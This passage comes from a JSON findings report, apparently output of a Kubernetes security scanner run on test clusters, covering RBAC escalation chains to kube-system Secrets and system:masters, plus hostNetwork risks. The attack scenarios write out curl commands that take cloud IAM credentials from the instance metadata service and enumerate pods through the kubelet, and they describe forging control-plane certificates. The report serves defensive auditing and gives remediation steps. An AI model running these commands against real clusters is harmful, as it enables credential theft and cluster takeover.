      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/cutres-deputy-tenant/cutres-deputy:system_masters",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "HIGH",
    "score": 8.149999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres-deputy-tenant/cutres-deputy` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/cutres-deputy-tenant/cutres-deputy` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager` via `operator_reconcile` (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  3. `ServiceAccount/cert-manager/cert-manager` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-deputy",
      "namespace": "cutres-deputy-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres-deputy-tenant/cutres-deputy`.",
      "Acting as `ServiceAccount/cutres-deputy-tenant/cutres-deputy`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/cert-manager/cert-manager` via `write certificates.cert-manager.io`, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write certificates.cert-manager.io]",
        "2. node_drain_migrate [delete pods + update nodes/status]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`). Evaluated cut: removing this subject from the `cutres-deputy-cert-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-a",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-b",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/deepchain-tenant/deepchain-deployer:system_masters",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "HIGH",
    "score": 8.149999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-deployer` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-deployer` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller` via `operator_reconcile` (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source\n  2. `ServiceAccount/flux-system/kustomize-controller` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  3. `ServiceAccount/flux-system/kustomize-controller` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-deployer",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-deployer` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/deepchain-tenant/deepchain-deployer`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-deployer`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/flux-system/kustomize-controller` via `write kustomizations.kustomize.toolkit.fluxcd.io`, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write kustomizations.kustomize.toolkit.fluxcd.io]",
        "2. node_drain_migrate [delete pods + update nodes/status]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-deployer",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "permission": "write kustomizations.kustomize.toolkit.fluxcd.io",
        "gains": "can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source",
        "source_binding": "deepchain-gitops",
        "source_role": "deepchain-gitops",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-ESCAPE-003:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app",
    "rule_id": "KUBE-ESCAPE-003",
    "severity": "HIGH",
    "score": 8.1,
    "category": "lateral_movement",
    "title": "Pod shares host network (`hostNetwork: true`) in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`",
    "description": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` sets `spec.hostNetwork: true`. The container is no longer in a sandboxed network namespace. It sees the node's interfaces, listens on the node's IPs and ports, and reaches every loopback service the kubelet talks to.\n\nThe most dangerous consequence is that NetworkPolicies cannot apply. Cilium, Calico, and the upstream NetworkPolicy spec key off the pod's veth and labels, and a hostNetwork pod has neither, so all egress filtering is silently bypassed. On managed Kubernetes (EKS/GKE/AKS) the workload can reach the cloud Instance Metadata Service at `169.254.169.254` even when the cluster has set IMDSv2 hop-count protection. The result is a one-step path from container RCE to AWS/Azure/GCP IAM credential theft.\n\nThe pod can also bind privileged ports the host already uses, redirect kube-proxy, sniff service traffic, or scan internal-only addresses such as `127.0.0.1:10250` (kubelet) which is otherwise unreachable from a normal pod.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`"
    },
    "impact": "Bypasses NetworkPolicy and IMDSv2 hop protection; container reaches cloud metadata, kubelet localhost, and any node-loopback service. This pivots cluster compromise into cloud-account compromise.",
    "attack_scenario": [
      "Gain code execution in the pod (web RCE, malicious image).",
      "Confirm hostNetwork: `ip addr` shows the node's primary interface, not a pod CIDR.",
      "Hit the IMDS: `curl -s http://169.254.169.254/latest/api/token -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'` then fetch `iam/security-credentials/\u003crole\u003e`.",
      "Use stolen IAM creds with `aws sts get-caller-identity` and pivot to S3/EKS API.",
      "Optional: probe `127.0.0.1:10250` (kubelet). If anonymous auth is enabled, run `curl -k https://127.0.0.1:10250/pods` to enumerate every pod on the node and exec into any of them."
    ],
    "evidence": {
      "hostNetwork": true
    },
    "remediation": "Set `hostNetwork: false` (default) and route any node-level networking through a CNI-managed Service or NetworkPolicy-aware DaemonSet.",
    "remediation_steps": [
      "Audit if hostNetwork is required. Typically only kube-proxy, CNI agents, or node-local DNS legitimately need it.",
      "Remove `hostNetwork: true`. If a host port is genuinely required, prefer a Service of type NodePort or an Ingress controller behind a NetworkPolicy.",
      "Enforce IMDSv2 with hop-limit = 1 on every node; apply an egress NetworkPolicy denying `169.254.169.254/32` for application namespaces.",
      "Validate: `kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.hostNetwork}'` is empty/false; `kubectl exec ... -- curl -m 2 http://169.254.169.254/` should fail."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/",
      "https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Access%20cloud%20resources/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Datadog Security Labs — Attacking EKS cloud identities",
        "url": "https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/"
      },
      {
        "title": "Wiz — Lateral movement: from container to cloud takeover",
        "url": "https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust"
      },
      {
        "title": "Microsoft Threat Matrix — Access cloud resources",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Access%20cloud%20resources/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.4",
        "title": "Minimize the admission of containers wishing to share the host network namespace",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostNetwork"
    ]
  },
  {
    "id": "KUBE-ESCAPE-003:Deployment:vulnerable:risky-app",
    "rule_id": "KUBE-ESCAPE-003",
    "severity": "HIGH",
    "score": 8.1,
    "category": "lateral_movement",
    "title": "Pod shares host network (`hostNetwork: true`) in `Deployment/vulnerable/risky-app`",
    "description": "Workload `Deployment/vulnerable/risky-app` sets `spec.hostNetwork: true`. The container is no longer in a sandboxed network namespace. It sees the node's interfaces, listens on the node's IPs and ports, and reaches every loopback service the kubelet talks to.\n\nThe most dangerous consequence is that NetworkPolicies cannot apply. Cilium, Calico, and the upstream NetworkPolicy spec key off the pod's veth and labels, and a hostNetwork pod has neither, so all egress filtering is silently bypassed. On managed Kubernetes (EKS/GKE/AKS) the workload can reach the cloud Instance Metadata Service at `169.254.169.254` even when the cluster has set IMDSv2 hop-count protection. The result is a one-step path from container RCE to AWS/Azure/GCP IAM credential theft.\n\nThe pod can also bind privileged ports the host already uses, redirect kube-proxy, sniff service traffic, or scan internal-only addresses such as `127.0.0.1:10250` (kubelet) which is otherwise unreachable from a normal pod.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Bypasses NetworkPolicy and IMDSv2 hop protection; container reaches cloud metadata, kubelet localhost, and any node-loopback service. This pivots cluster compromise into cloud-account compromise.",
    "attack_scenario": [
      "Gain code execution in the pod (web RCE, malicious image).",
      "Confirm hostNetwork: `ip addr` shows the node's primary interface, not a pod CIDR.",
      "Hit the IMDS: `curl -s http://169.254.169.254/latest/api/token -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'` then fetch `iam/security-credentials/\u003crole\u003e`.",
      "Use stolen IAM creds with `aws sts get-caller-identity` and pivot to S3/EKS API.",
      "Optional: probe `127.0.0.1:10250` (kubelet). If anonymous auth is enabled, run `curl -k https://127.0.0.1:10250/pods` to enumerate every pod on the node and exec into any of them."
    ],
    "evidence": {
      "hostNetwork": true
    },
    "remediation": "Set `hostNetwork: false` (default) and route any node-level networking through a CNI-managed Service or NetworkPolicy-aware DaemonSet.",
    "remediation_steps": [
      "Audit if hostNetwork is required. Typically only kube-proxy, CNI agents, or node-local DNS legitimately need it.",
      "Remove `hostNetwork: true`. If a host port is genuinely required, prefer a Service of type NodePort or an Ingress controller behind a NetworkPolicy.",
      "Enforce IMDSv2 with hop-limit = 1 on every node; apply an egress NetworkPolicy denying `169.254.169.254/32` for application namespaces.",
